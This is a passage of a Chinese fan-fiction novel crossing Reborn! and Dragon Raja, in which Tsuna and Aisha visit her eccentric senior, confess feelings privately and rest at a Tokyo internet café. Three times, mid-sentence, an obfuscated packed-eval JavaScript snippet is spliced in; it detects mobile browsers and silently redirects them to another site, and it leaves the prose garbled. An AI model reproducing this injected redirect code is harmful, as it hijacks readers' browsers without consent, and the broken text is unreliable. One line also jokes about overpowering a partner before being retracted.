只是没想到,当听见源稚女语气熟稔地说出她的经历、当从他人口中得知她受伤,会是这样一件让人不悦的事情而已。 “现在留也不晚啊。” 见他突然陷入沉默、一副神游天外不晓得去了哪儿的样子,艾莎伸手拽拽他衣角。 “纲吉君用line还是wechat,我扫你?” 或许是因为夜色,沢田落下的目光晦暗不明,甚至有种奇异的隐忍意味一闪而过。 她不明所以地和他对视片刻,直到他眼中的光彩逐渐化为熟悉的温柔镇定,直到他轻轻应了声“好”。 他们加了好友。原来沢田也是line和wechat两个app混着用。 于是两个都加。沢田纲吉的头像万年不变:一条卡通鲔鱼;艾莎则照旧是石川五右卫门施展刀术的帅气截图。 鲔鱼……意外的好适合!/到底是有多喜欢鲁邦里的‘斩铁剑’啊…… 他们都在心里暗自感叹,但也都没有感到特别吃惊。 走出公园,地上已有积水。大大小小的水洼里倒映着凌晨的东京:一边是歌舞伎町光怪陆离的霓虹,一边是地铁口招牌黯淡的白色灯光。 艾莎在路口处停下,“纲吉君真的要趟这趟浑水么?” “这件事上,我不算完全的无关者。”这是沢田的回答。 “难得的假期,”艾莎咬咬嘴唇,“不回家看看么?” 他听出她话语里潜藏的愧疚,于是稍微想了想,才答道: “假期有七天,解决这件事再回家也是一样的。多一个人商量的话,速度应该会比一个人单打独斗快很多吧?” 用这种半开玩笑的口吻说完,他不再看她,而是笔直地目视前方,悄然绷紧了下巴: “无论如何,至少在这件事上,我不会再让艾莎一个人陷入危险中了。” 他说得很认真很郑重。 心脏突然剧烈地跳动了一下。 “纲吉君的意思…是要留下来保护我么?” 艾莎呆呆望着他的侧脸,这句话自然而然地从嘴边溜出。 他微微低头,一言不发地与她对视,既没有说是也没有说不是。先前那种有所隐忍的眼神又出现了。 有那么一瞬间,她觉得他是想要说些什么的、说些什么很重要的话。所以不由得屏息等待。 伞里伞外好像被分隔成两个世界。伞中的呼吸缱绻旖旎,伞外只有潮湿的雨声。 可最终他还是什么也没说,只是将手中的伞朝着她的方向又偏了偏。 艾莎只好扭过头,闷闷地跨过一个水坑,顺便小声骂他: “…太过分了纲吉君,这时候模仿少年漫男主角说一句会保护我又不会少块肉。” 刚才的暧昧空气荡然无存。沢田纲吉绷紧的身体一秒钟松懈下去。 “少年漫……我好歹已经二十五岁了。”他无奈地向她小声确认,“…果然,刚才是不是说的太过头了?” “完全不会。”艾莎笃定地摇头,“纲吉君刚刚超帅气的!” “如果能像少年漫男主角那样说一句‘我一定会拼尽全力保护你!’就更好了!” 她到底是对少年漫男主角有着怎样的执念啊! 一年前真的下定过决心要拼死保护她的沢田纲吉:“…我一定会拼尽全力保护你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658837|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “才不是这种棒读的口气。”艾莎闷闷道,“要像Naruto呼唤Sasuke那样深情又坚定——可恶,jump的友情努力胜利如今都到哪里去了!” “…不,Naruto呼唤Sasuke的语气才比较不对劲吧。”沢田稍微想象了一下,不知为何他脑子里突然铺满了年仅5岁哈哈大笑的蓝波。 “怎么说也应该是…”Naruto对Sakura。 等等,他在说什么。 意识到自己差点说出什么了不得的话(当然也可能是史上最糗的告白)之后,沢田纲吉猛地住了口。 “应该是……?”艾莎正好奇地望着他。 “没什么。”接触到她纯然好奇的目光,他一时喉头发紧,僵硬地移开了视线。 “现在去哪里?” 艾莎耸耸肩,没在这个话题上继续深究。她掏出源稚女给的读卡器。 “我们去找能黑进蛇岐八家超级电脑的人。现在这个时间正好,他大概率刚吃完宵夜……” -- 最终,他们来到一间24小时营业的网吧。 网吧藏在一栋不起眼的褐色楼房里,占据了三层的位置。整体的装修风格很是小清新,原木色的家具和日式特色的摆件,洗浴区饮料区漫画区用绿植分隔开,一整个的死宅天堂。 艾莎拉着他七拐八拐到了楼上的某个隔间,布条拉得严严实实,看不清里面。她在一旁的小门上敲了敲,很快就从里面传出一声懒洋洋又有点闷的“进来”。 艾莎拉开门。隔间里的人坐在电脑椅上,闻声直接转动椅子面朝门口。 沢田纲吉看到:趿拉着的拖鞋、过分宽大的棕色中裤以及墨绿色格子衬衫——确实是技术宅的标配。 然而宽松的衣服遮掩不住男人健硕魁梧的身材。从那铁灰色长毛丛生的小腿沢田推测对方大概率是高加索人种。 至于为什么只是推测而不是直接看长相—— 此刻男人头上正套着一个肯德基的外卖纸袋,面部完全被遮挡住了。 他的两只手拎着袋子顶部不断抖动,脖子高高仰着,说不清是一时不慎袋子套头导致窒息还是在做什么奇怪的部落仪式,但总之是在暴露丑态…… 艾莎:“……” 沢田纲吉:“……” “大师兄,你在干什么啊大师兄。”她木然道。 大师兄抖抖袋子抽出头,嘴角还带着些微食物残渣:“最后一点薯条边角,可不能浪费……” 看到沢田纲吉,他很明显的愣了愣,视线在他们二人之间来回逡巡了几圈。 艾莎顿时心头一紧。 果不其然,那边大师兄已经一下子热情洋溢地站了起来,一边说着“哎呀这不是我小师妹夫么欢迎欢迎!”,一边和沢田握了握手;所展露出的那种单纯的败犬式热心简直令人无从拒绝。 沢田纲吉有些懵,只好朝他客气又拘谨地笑了笑。然而这时对方的寒暄已经一路进展到了“还在门口站着做什么快进来进来!”的步骤,边说还边回头埋怨艾莎“你这孩子带人回来也不提前说一声,真是太不懂事了。” 沢田纲吉有些幻视:仿佛他们即将进入的不是什么一席的网吧隔间,而是一个温馨的三口之家…… 艾莎阻拦不及,只好在他旁边低声说了句,“这是我大师兄。” 大师兄——就是那个借口研究把你的奖学金全都骗走的骗子么……沢田纲吉瞳孔地震。 他再转头看看那个正殷殷切切撅着屁股从零食堆里扫出两个座的一脸热心肠的健硕男人,心想对方看上去可真是…… ——真是个一言难尽的神经病啊! 79. 第74章 情思 听完事情的前因后果,大师兄面不改色。 “我就说呢…半小时前,校董会紧急调了一架飞机到芝加哥机场,现在估计已经起飞了。” 他随手抄起一包薯片,边往嘴里塞边咔嚓咔嚓地补充。 “虽说比不上‘斯莱布尼尔号’,但毕竟是装备部改造过的硬货。我估摸着十个小时就能到东京。” 这些情报他说得行云流水,好像早就知道今晚的事情、所以提前预备着了一样。艾莎不由狐疑看他。 大师兄顿时豪气万丈地拍拍胸脯: “怎么说也是做师兄的!小师妹在外执行任务,学院那边我不得帮你看着?” 艾莎满头黑线。 “…但是这个任务一开始就是大师兄你的吧……我本来应该在秋叶原排塞尔达预售的!” “不不不那是施耐德教授的问题——我这种文职人员怎么能去闯那种□□云集的龙潭虎穴——知道什么是文职人员么?我们从来都是幕后坐镇!” 大师兄边说边接过那只黑色读卡器,伸过来的一只手臂威武雄壮筋肉隆起;也不知是不是故意的,总之恰好在沢田纲吉眼前晃了两晃。 ……文、文职人员。 沢田嘴角一抽。 接着,只见艾莎的大师兄潇洒转身,背对他们在键盘上一阵敲敲打打。电脑的屏幕光将他的身体轮廓模糊成幽蓝色的一团……这么看倒确实有几分世外高人的气派。 “攻克‘辉夜姬’的防火墙可是个技术活。你们要不要趁这个时间先去休息会儿?”世外高人头也不抬,如是建议道。 没想到他突然来这么一遭,艾莎和沢田纲吉都是一愣。 不过细想一下,这个提议的确有道理: 此时校董会的代理人还在万米高空之上,蛇岐八家也因大家长出事而陷入短暂混乱。如果想要暂作休憩,现在确实是最好的时机。 在外多年,他们早已习惯碎片化的休整。对视一眼后,沢田纲吉旋即站起身来。 “我去前台再开一个隔间。”他低声说。 艾莎轻轻点点头,等他离开后才有些留恋地收回视线。 ——然后一转头就对上了一双炽热的狗仔眼。 “诶——”大师兄刻意压低声音等人走远,满脸都是促狭,“人不错啊?” “…什么?”艾莎装傻。 “喏,”大师兄头枕座椅靠背,朝门口努了努嘴,“看起来不错啊。不怎么像mafia。” 他顿了顿,又补充一句,“就是瘦了点。不过也好,打不过你。” “谁说他打不过——”艾莎下意识就要为沢田辩护,“不对,这都什么乱七八糟……大师兄你别捣乱好么?” 她张牙舞爪龇牙咧嘴。然而困恼的同时又有点窃喜和骄傲,内心深处有道小小的声音在悄悄附和,觉得大师兄说得没错: 纲吉君…确实很好,他确实是个很好很好的人啊? “怎么还不让人说了?”大师兄神情半是荡漾半是惆怅,“这有了心上人就是不一样,好像一夜之间长大了似的……” 艾莎:“……” 原本她还想像刚才一样装傻应付。然而“心上人”三个字不啻一道惊雷,当场把她劈得晕晕乎乎,又像紧箍咒似的在她脑子里不断盘桓。 “脸红了脸红了。”大师兄不依不饶。 艾莎下意识摸摸脸。 “少摆出一副长辈架势来……”她小声抗议着,但在和师兄对视几秒后,就又心虚地错开了视线。 “…好吧好吧……” 艾莎闷闷地低下头,轻声嘟哝道。 “…我、我好像确实……” 才开了个头,她就在仓皇间停住。 有什么话迫不及待地想从唇舌间跳出来,被她堪堪用舌尖压着,仿佛说出口的一刹那就会大难临头。 然而这灾祸又似乎别具魔力。她能感到自己被一种近乎恐惧的情感驱使,如同希腊神话里神造的女儿面临的魔盒;蛇就隐藏在林间,不怀好意地引诱着。 ……可恶,管那么多干什么? 艾莎抬起头,直挺挺地瞪着前方,好像面临着什么难以打倒的敌人一样,既勇敢又无措地承认了: “我我我就是喜欢又怎么样…我是说,我喜欢纲吉君——不是突然喜欢上的——可能在西西里岛的时候,我就已经喜欢上纲吉君了。” 心律重新恢复正常。 她飞快地眨眨眼睛,不敢相信居然就这么直接顺利地把话说完了。 魔盒轻巧地弹开了,然而所见并非灾祸那么沉重的东西。她想说的话远比想象中轻盈温柔。 “而且……”艾莎犹豫一下。今晚发生的一切在脑中快速闪现:拍卖会场的打斗;发现是她后他眼底的错愕与懊恼;路灯下的拥抱,他的心跳蓦然重了两拍;面对源稚女时他沉稳镇定的周旋、以及桌下被主动握住的手…… 这些东西支撑着她继续说道: “…而且我觉得、我觉得他也有一点喜欢我……” 她说得很小声也很小心,犹如怀揣糖果走在街上的孩子,生怕不合时宜的炫耀会招致恶果。 冥冥之中,她感到自己从此与轻松无纷扰的生活道了别。重新在眼前铺展开的道路困顿而忧伤。 她被这忧伤所感染,不由自主地露出一个笑脸。 -- 艾莎只忘了一件事:她面对的是大师兄而不是二师兄。 同样是倾听少女心事,二师兄顶多冒出两句烂话——说不定还能帮她排遣排遣情思。毕竟只要牵涉到感情问题二师兄就经常间歇性抽风得像个哲人…… 可大师兄就不一样了。 大师兄是一个像狗一样冷酷的人。 “咳…虽然这么打断你不太好——” 大师兄羞涩地举起手,行止间充满了ky精神。 “但我必须要说,遇到那个什么阿瓦达纲吉后——哎呦他们日本人的名字真难记——小师妹你真的变娘了。”大师兄言之凿凿,“你还记得你以前么?你以前可是个所有武器都用完也面不改色斩下雕像上的大砍刀继续抡的杀胚啊!” 他痛心疾首沉痛万分,“我看你是铁了心要在人妖…啊不,人兽的道路上越走越远!” “你才人妖你才人兽!”艾莎抄起手边的妙脆角砸过去,大师兄从善如流地接住并打开了。 “不过说真的。我研究龙族基因这么多年,也没亲眼见过哪个混血种和非龙族血裔搞在一起的。”他耸耸肩。 “大师兄你是想说血之哀么?”艾莎问。她在交给古德里安教授的论文里论证过这个,不过教授也不怎么认同。 “也能这么说吧。” “喔……你是想说我和纲吉君不是一路人,还是趁早放弃比较好么?”艾莎垂下眼帘,“乌鸦以前也说过差不多的话。大师兄你还记得乌鸦么?蛇岐八家的,以前是象龟手下。” “没什么印象。不瞒你说我在日本的大部分光阴都花在吃拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658838|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面和挖煤球上了……”大师兄羞涩挠头,“不过能说出这种话,这个乌鸦一定单身了很多年吧?” “是、是吧?”艾莎一愣。 得到肯定答复,大师兄立即从鼻子里哼了一声。 “小师妹你可别和他学。感情的事哪儿来那么多瞻前顾后——喜欢就大胆去追咯。” 他以一种过来人的口吻懒洋洋地说道。 “为此开心也好痛苦也罢,人生不还是照样过么。你们在一座不错的城市,现在又是这么适合恋爱的季节。要我说小师妹你情窦初开,就算那个谁不愿意也不要紧。明的不行咱还不能使阴招么?你就一把把他打昏,把他拖进角落搓揉磨捻,把他像甜点一样细细品尝——” 大师兄越说越猥琐狰狞。就在艾莎忍不住要拆下门板往他脸上砸的时候,他又倏忽间把话一收:“想做什么就尽管去做。但有一样,别干让自己后悔的事。” 艾莎心说大师兄你这切换自如的说话风格是和源稚女那个精神分裂学的么……然而对上他的眼神,又突然槽不出口了。 脑海里突然浮现出他新年时说过的话,她有些生涩地复述一遍: “不要逃避……是么?” “是咯。”大师兄一把一把地往嘴里塞膨化食品,“没听人说‘世上没有后悔药’么?快乐也好痛苦也罢,时间一长也就都不记得了。只有后悔的时候,人才会一直回想一直回想……可世上没有后悔药咯,一切又不能重来,你后悔也没用咯。” 他挥了挥手,十根手指都泛着油光。然后就又转回去倒腾电脑了。 那双灰蓝色的眼睛由于长期熬夜而略显浑浊,倒映着冰冷数据,却又蓦地叫人想起极地冻结多年的冰海。 “喔……”艾莎见他突然转身,直觉他一下有些意兴阑珊,就想随便换个话题。 “大师兄你从哪儿知道校董会动向的啊,”她没话找话般随口问道,“学院论坛上么?” “怎么可能,”大师兄懒洋洋地否定了。 “——当然是因为我有很硬的内部关系咯。” -- 艾莎拆到第二包薯条的时候,原本安静的网吧骤然嘈杂起来,行李箱滚轮混杂着人声,听交谈的语言像是来了一群韩国人。 几乎是同时间,沢田纲吉也回到了隔间,看表情还有些后怕,仿佛遭受了什么恐怖的精神折磨。 “怎么了?”她立即关切问道。 “…前台说网吧的座位都已经订满了。”沢田犹豫一下,才如实相告,“好像是一个韩国老年旅行团想要体验日本年轻人的生活……” 说着,他露出苦笑。尽管试图进行交涉,但事实证明里世界的那一套在老年人面前根本行不通。 管你是彭格列十代目还是世界基石的持有者,大爷大妈为了捍卫自己已经上交的旅游费寸步不让。他提出高价,还被当成心怀不轨游手好闲的外国骗子批评教育了一番…… 眼前再度浮现刚才的经历,沢田纲吉颇有些头痛地揉了揉额角。 艾莎怔了怔,然后缓缓把目光投向大师兄。 “我不和男人睡一屋!”大师兄双手捂胸坚定坚决。 然后,他又反应很快地补充道,“要我说你们也别分头行动,我这儿随时出结果,到时找不到人多麻烦。” 他拿眼睛觑觑他们,而后一脸纯良地耸耸肩: “反正也就个把小时,要不你俩一起将就下?小师妹你住的不是个室么,那可比隔间宽敞……” 80. 第75章 如发(上) “那就这么定了!出力的事就交给我,你们尽管去休整。有结果了微信联系!” 大师兄突然展现出执行部式的雷厉风行,制定好计划就立刻站起身来,满脸堆笑地把他们往门外请。就是那个笑容怎么看怎么透着一股淫.贱和不怀好意…… “等…”艾莎才刚说了一个字,就已被大师兄“不早了走好走好,哎呦没落什么东西吧?”的笑脸攻势逼到了门外。 她心说确实落了,从源稚女那儿拿的伞还搁在角落呢大师兄你看不到么。 然而这时大师兄已经灿烂而利索地拉上了门帘,徒留她和沢田纲吉两个人在过道里面面相觑。 片刻后,他们半是尴尬半是无奈地双双叹出一口气。沢田主动道: “你先去休息吧。” “…那纲吉君呢?”她迟疑道。 “我去漫画区就好,”他边说边笑笑,“反正时间也不长。” 时间不长,所以不休息也不要紧。 她听懂了他的言下之意,毫不犹豫地摇了摇头。 “那边没地方躺——之后还不知道会遇到什么麻烦,现在还是好好休息下比较好。” 他还来不及把坚定推辞的话说出口,就看到女孩挑挑眉,又指了指自己的眼睛: “还是说,纲吉君一点也不累?” “嗯……”今晚发生那么多事,要说不累是不可能的。再强装精神似乎也没用,她好像总能看穿他的疲倦。 他犹豫一下,猜测是眼神露了端倪。 “真的一点也不累?”见他不答话,艾莎又凑近了一点,“即使是面对过我全力以赴的追杀以后也?” 这是什么问题……现在离得是不是有点太近了? 女孩的脸庞近在咫尺,沢田勉强分出一点疲劳的神思去思考距离问题。 然而望着那双略带探究的冰蓝色眼瞳,“距离过近”的警钟就越挂越高越高越远,直到变成天边破碎的泡沫了。 他极其缓慢地眨了眨眼,一步也没退开。 她也跟着眨眨眼睛,继续用超小声的音量道: “如果纲吉君点头的话,我真的会哭给你看喔,一秒钟就哭出来喔?” “一般来说不会用这种话来劝人休息吧……”沢田纲吉哑然失笑。 “啊,被发现了?”她轻笑一声,浑不在意的样子,拉着他就往走道的另一边走。 “走啦走啦,难得我斥巨资订了个室。虽说两个人睡可能是有点挤……不过反正时间也不长嘛。” 看她以一种不由分说的气势迈开步子,就算准备再多婉拒推辞的话也没用了。 沢田纲吉轻轻叹了口气,目光在被她握住的手腕上停了停。 同处一室的话,一年前也有过几次。但睡在一起什么的…… 脑子里突然蹦出某段被刻意尘封的记忆。 他当即呼吸一乱,边庆幸她不记得边暗自唾弃自己。 -- 艾莎租的个室位于楼层另一侧。与仅用咖色布条充作遮挡的隔间不同,个室全都是实打实的小房间,里面除了电脑还有供休憩的榻榻米,有点像日本曾经最出名的那种胶囊旅馆:私密性更好,价格也比隔间高出几百日元。 她正要开门,身后走道突然跑过一对嬉笑推搡的年轻男女,都是二十出头的样子,打扮时尚,还扛着一些简易的录影收音设备,估计是什么不知名的YouTuber。 “521……521……” 男孩寻找着房间,他故意以一种颓废的姿态晃动手里的钥匙,金属碰撞出“咔嗒”的声响;女孩被他的动作逗乐,也跟着轻声重复房间的数字,发出“咯咯”的傻笑。 他们一看就是情侣,浑身散发出一种醉醺醺的、潮湿的欢乐,仿佛这才是对深夜网吧个室氛围的最好诠释。 521号就在隔壁。男孩没有立即开门,而是先打量了一下同在走廊的艾莎和沢田。 半晌后他眼睛一弯,对着他们竖起“GJ”含义的大拇指,大概是“同为情侣你们也来网吧潇洒么春宵苦短事不宜迟啊!”的意思。 艾莎:“……” 沢田纲吉:“……” 女孩推了男孩一把,男孩用日语散漫地抱怨了回去。随即两人——连带着那堆设备一起——嘻嘻哈哈地消失在了走道。 隔壁的房门“砰”地关上。剩下艾莎和沢田对着长窄的个室房门发愁。 ——总觉得!气氛一下子就诡异起来了!!! 他们不约而同地在心里想道。 “要、要不先洗漱吧?”艾莎在门前站了几秒,然后缓缓松开了门把手。 沢田纲吉立即点点头。 “我有一次性牙刷和毛巾,那边的自动贩卖机还有T-恤……纲吉君你要硬币么?”说着,她小声咕哝了一句“等我一下”,然后飞快地打开门,把背包往里一放,又抱了洗漱用品出来。 翻找的时候她没关门。沢田站在走道,看到屋子里空空荡荡,除了网吧的既有陈设以外,就再没什么其它东西。 他突然回想起还在巴勒莫的时候。复活节晚宴结束后他们一起回到公寓,当时艾莎已在那住了一段时间,但里面同样没有多少生活痕迹。 比起爱好干净,这更像是早已养成的习惯,又或者连她自己都没意识到……沢田纲吉心里微微一动。 这样随时拎起包就能离开。一切地方都只是临时的落脚点而已。 -- 网吧配备的浴室要水卡才能启动,客人们一人一张。于是分头行动,沢田先去买必需的洗漱用品,艾莎则折返回大师兄那里借水卡。 然而大师兄并不在隔间里。 她在桌上找到一张大意是“万万没想到妙脆角与KFC竟在身体里产生了奇妙的化学反应。消失一会儿马上回来!桌上的电脑不要动啊不要动!”的中文字条。 底下还附了一行潇洒潦草的小字:“p.s.独处的时候,再温文尔雅的男人也可能化身野兽,小师妹你小心哦!” 艾莎看完默默放下那张有味道且八婆的字条,抄起桌上水卡扭头就走。 网吧限定了每位客人15分钟的淋浴时间。两间淋浴房正好都空着,他们正好一人一间。 热水自头顶倾泻而下,短暂地冲散了部分倦意。 她简单回想了一下今晚发生的事,特别是源稚女说的那些话;总直觉有哪里怪怪的,但拖着沉甸甸的脑袋想了半天也没结果。 然后突然之间,心绪就又不受控地回到了沢田身上。 ……按常理来说,确认心迹后的下一步,是不是就是告白来着? 艾莎搓揉头发的手微微一顿。 大概人在独处的时候,想象力的丰富程度也会比平常大一些。所以这个想法一蹦出来,她非但没有慌乱,反而还煞有介事地顺着往下想了想。 那么就告白好了。待会儿推开门看到纲吉君的时候,就立刻对他说“我喜欢你,请和我交往!”。如果这样做的话,他会露出怎样的表情来呢? ——多半是为难。等等,这么一想不就是百分百会失败的意思么? 她微微抿唇,揉搓头发的速度加快了一点。柠檬味的香波变成了淡黄色的泡泡拢聚在头顶。 疲倦的思绪不愿卷入另一场现实的博弈,于是想当然地跳过告白来到交往。 她放任自己在这种大胆的空想里肆意飘荡了一会儿。直到它因持续的细节填充而显得愈加真实,才带着些微慌张与眷恋停下。 把泡沫冲干净后艾莎关掉了花洒。少了水声,淋浴间里骤然安静下来。残余的水珠在圆形边缘轻轻颤动,将落不落的样子。 半晌过后。 “…所以说,怎么可能就这么告白啦……”她沮丧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658839|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头喃喃。 -- 艾莎出来的时候,沢田纲吉已在洗手台前刷牙了。棕色的发丝半干不干,估计是简单粗暴地用干毛巾随便抓了抓(她也常这么干),所以看起来有点乱蓬蓬的。 他没转身,而是简单对着镜子里的她微笑了一下,显得有些距离感。艾莎立即心虚地联想起刚才不切实际的幻想,顿时在心里唾弃了自己一万遍。 默念了好几遍“即使是死气之火也不会延伸出读心术这样的bug技能”后,她慢吞吞挪到旁边的洗手台,拿起了插在墙上的吹风机。 吹头发时她看到镜子里的镜像。她和沢田并排站着,这个视角有点像是在看其他人眼中的他们,她不免觉得有点新奇。 此刻他们都穿着宽松的白色T-恤,一个刷牙一个吹头发,画面看起来轻松和谐。 她回忆了一下刚才在走道碰到的那对年轻男女,然后得出结论: 镜子里的她和沢田并不像他们那样,散发出那种一看就是情侣的气场。 不过要是真的和他们一样……她的思路越跑越歪,边吹头发边想象了一下沢田从头到脚一身潮人服饰朝她一脸邪魅甩钥匙的样子,手上的吹风机立刻抖了三抖,热风从发前直直灌进了耳朵里。 “嘶——”她把吹风机拿开了一点。与此同时,耳边响起沢田的呼唤。她应了一声,发现他已洗漱完毕,此刻正一脸无奈地看着自己。 肯定又在想奇怪的事了——虽然没有像这样明明白白地说出来,但他的表情无疑透露出一种看穿一切的包容。 “…什么?”艾莎故意假装淡定。 “要不要喝点什么?我去饮料区拿。”他轻声重复了一遍。 “喔…好,”她下意识舔舔嘴唇,发现是有点渴,“可乐吧,冰的。” “冰可乐?”沢田纲吉微微挑眉。 艾莎从他眉眼间捕捉到一种温和的不赞同。她后知后觉地眨了眨眼:他们大概率只能休息三到四小时,这样的情况下,可乐这种含咖啡因饮料确实不是最佳的睡前饮品。 “这点咖啡因不影响啦……我是说,”话到一半她突然改口,“热牛奶,麻烦纲吉君——可乐我等睡醒再喝……” “大清早喝可乐也不是什么健康的生活方式吧。”他叹了口气。 “…不要紧,混血种都是铁胃。”她噎了一下然后随口掰扯。 “不要什么都推给混血种啊喂……”他满头黑线默默戳穿。 “啊,被发现了?”今晚第二次,她这么说道。 镜子的倒映中,他们对视了一眼,然后不约而同地笑出了声。 -- 果然,还是用朋友模式相处比较轻松。 她继续心不在焉地吹着头发,打定主意接下来也像之前一样和沢田相处,什么都不改变;告白什么的就丢给未来的自己去苦恼。 沢田很快就拿着杯子回来。不知道他是不是也做了类似的心理建设,递杯子过来时的神态动作自然了很多,不像先前那样透着一股距离感。 ——牛奶是正正好的温度。艾莎接过后用嘴唇试探性地触碰一下,然后满足地喝了一大口。 就在她担心吹完头发牛奶会放凉、犹豫着要不要先一口气喝完的时候,身后的褐发青年顺手拿起了一旁的吹风机。 “我来吧,这样比较省时间。”说完,像是担忧显得催促,他又补充一句,“你慢慢喝,不着急。” “喔……”艾莎愣愣应了一声。 透过镜子,她看到沢田小心翼翼地拢起她的头发,垂着眼帘、一副专心致志但又不怎么熟练的样子。 怎么说呢……感觉会比她自己来的速度慢。 这么想着,嘴角不由浮现出一点笑意,并且不受控的越变越明显。 不想被他看见。于是艾莎再度捧起杯子,将笑脸藏进了香甜的牛奶里。 81. 第76章 如发(下) 明明最开始只是看到她两只手都不方便、所以想当然地提出帮忙而已。 明明就应该是这样一件单纯的事情而已。 然而真正触碰到细软发丝的一瞬间,沢田纲吉心头突然涌起某种悔恨煎熬与温柔掺杂的奇异情绪。 他用手指轻轻拨拢着纤细发丝。尽管后者还泛着微凉水泽,指尖却没来由的滚烫。 他以前从没帮人吹过头发,自己经常也就是拿干毛巾擦擦了事。现在骑虎难下,只好硬着头皮,边拼命回忆零星的漫画电影相关情节边有样学样。 于是任由心中奇异情绪慢慢发酵的同时,沢田纲吉也后知后觉地察觉到一件事: 怎么好像、吹头发这件事完全不像想象中那么快速单纯……不,应该说完全是“快速”和“单纯”的反面义。 这种缓慢又亲密的感觉…… 他艰难地咽了一下口水,感到内心深处有个无助的14岁初中生正抱头呐喊: ——该不会,其实早就超出了朋友的范畴吧!? 尽管内心悔恨交加,但年轻的首领仍然维持着面上的淡定与专注。他用余光观察到艾莎正要放下杯子,于是打定主意在她空出双手的下一秒让出吹风机、退到离她至少十米远的距离去。 她的手离案台越来越近,杯子底部与桌面发出“喀”的一声轻响。 就在沢田放缓呼吸、蓄势待发的时候,女孩慢慢仰起头,懒洋洋地打了个哈欠。 或许是因为光线,或者是什么奇特的镜像作用,她的神情远比往常倦怠柔软,散发出一种泡在牛奶温泉里般的幸福气息。 本打算将吹风机无情塞入她手的沢田纲吉:“……” 怎么办,突然有点不忍心。 他的思绪顿了顿,手上动作却未停。 在好好想了一番后,他也终究没有停下,而是选择带着些微恐慌和悔意继续煎熬,直到残余的理性在不知不觉间化为更加柔软的心情。 渐渐地,拢在掌心的发丝开始变得干滑。他从重复的动作中获取了足够的经验,“帮她把头发吹干”这件事不再像一件不可能完成的艰巨工程。 最后面的头发完成、再然后是侧边……不知何时,原本网吧淋浴间香波的柠檬香变回了他更熟悉的椰子香气,在空气中幽幽浮动。 他不自觉地将这股香味带入呼吸。无形的东西在唇齿间滚动缠绵,犹如一支低沉的大提琴曲。 -- 自己吹头发和让喜欢的人帮忙完全是两种体验。 前者是潮湿是麻烦是恨不得把头发剃光,后者是泡在温热的泉水里昏昏欲睡,幸福感膨胀得近乎缺氧。 这种巨大的幸福反而令她产生某种说不清道不明的危机感。毫无缘由地担心握不住杯子,艾莎把空了的牛奶杯放到桌上。 她本想和沢田道谢、然后自己继续把头发吹干。可接着就是一个完全违背本意的哈欠。 她半眯着眼睛,去看镜子里的沢田。身后的褐发青年仿佛一无所觉,还是一副专心致志的模样。 会不会是她想多了…… 吹风机将艾莎的思绪震得轰隆隆的响。有那么一瞬间,她再次产生一种向他表白的冲动,就趁着吹风机工作,或许他听不清她说了什么。 然而最终,嘴唇也只是无声地动了动。代替话语冒出的是第二个第三个哈欠,她阖上眼睛,一边困倦一边默默向沢田道歉。 再多一秒、等到再下一秒就拜托纲吉君停下吧? 可最终她还是什么都没说,只有心里不断想着下一秒下一秒、下一秒、再下一秒…… 也不知道过了多久,沢田突然“啊”了一声。耳朵上方的热风猝然停住,艾莎有些困顿地睁开眼,看清情形后也发出一声轻轻的“啊”。 ——头发已经差不多恢复了干燥清爽。然而耳边有一小缕突兀地直直炸开。大概是先前与沢田战斗时被死气之火的余温烤焦的。 今晚一直将头发拢在耳后,洗澡的时候也完全忘记了…… 艾莎眨眨眼,一小半思绪回到现实,拖着剩下的一大半艰难思考。 这时,她看到褐发青年小心撩起发端末尾,观察一下后有些懊恼地低声道: “…只能剪掉了。” 她心里把他的动作神态与理发师联系在一起,有点被逗乐的同时又不禁交付信任。 于是她“嗯”了一声表示赞同,没多思考就转过了身。 面对面的话,距离好像变得比背对时更近。 褐发青年的脸一下子近在咫尺,她不由把头稍稍往后仰了仰。 不过身后就是洗手池,也不存在什么后退空间。她干脆偷懒地半靠在台面上,微微侧过了脸。 “唔…那就拜托纲吉君啦……” -- “唔…那就拜托纲吉君啦……” 被这么软软地拜托了。 对她的转身毫无防备,沢田纲吉身体僵硬了一瞬。 他在脑中快速回放一遍刚才的对话,最后也只能无奈承认,好像确实怪不得她误解。 连头发都帮忙吹了,在这里犹豫似乎反而没什么必要……况且“罪魁祸首”还是他的死气之火。 这么一想,理性为情感找到了合理的出口,又或者是恰恰相反。 他没表露出迟疑,很干脆地伸手去够插在墙边的剪刀: “小心别动喔……?” 她用鼻音“嗯”了一声,果然一动不动。等他拿到剪刀,却发现它同样被用挂绳固定,大概是担心客人随意拿走。 这样一来……距离不太够。 沢田纲吉拽拽绳子,有点尴尬地轻咳一声:“…好像还得再往这边一点。” 艾莎点点头,乖乖跟着他一起平移到墙边。 